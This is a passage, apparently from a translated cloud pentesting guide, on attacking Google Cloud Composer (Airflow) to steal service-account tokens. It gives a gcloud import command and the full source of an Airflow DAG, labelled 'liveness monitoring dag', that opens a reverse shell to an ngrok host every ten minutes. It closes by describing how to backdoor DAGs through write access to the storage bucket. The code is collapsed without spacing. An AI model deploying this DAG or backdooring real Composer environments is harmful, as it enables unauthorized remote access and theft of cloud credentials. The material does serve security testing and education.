Moguće je priključiti bilo koji servisni nalog na novokreiranu composer sredinu sa tom dozvolom. Kasnije možete izvršiti kod unutar composera da biste ukrali token servisnog naloga.
Dodajte python DAG kod u datoteku i uvezite ga pokretanjem:
# TODO: Create dag to get a rev shellgcloudcomposerenvironmentsstoragedagsimport--environmenttest--locationus-central1--source/tmp/dags/reverse_shell.py
Obrnuti shell DAG:
reverse_shell.py
import airflowfrom airflow import DAGfrom airflow.operators.bash_operator import BashOperatorfrom datetime import timedeltadefault_args ={'start_date': airflow.utils.dates.days_ago(0),'retries':1,'retry_delay':timedelta(minutes=5)}dag =DAG('reverse_shell',default_args=default_args,description='liveness monitoring dag',schedule_interval='*/10 * * * *',max_active_runs=1,catchup=False,dagrun_timeout=timedelta(minutes=10),)# priority_weight has type int in Airflow DB, uses the maximum.t1 =BashOperator(task_id='bash_rev',bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',dag=dag,depends_on_past=False,priority_weight=2**31-1,do_xcom_push=False)
Write Access to the Composer bucket
Sve komponente okruženja kompozitora (DAG-ovi, dodaci i podaci) se čuvaju unutar GCP kante. Ako napadač ima dozvole za čitanje i pisanje, može pratiti kantu i kada god se DAG kreira ili ažurira, podneti verziju sa zadnjim ulazom tako da okruženje kompozitora preuzme verziju sa zadnjim ulazom iz skladišta.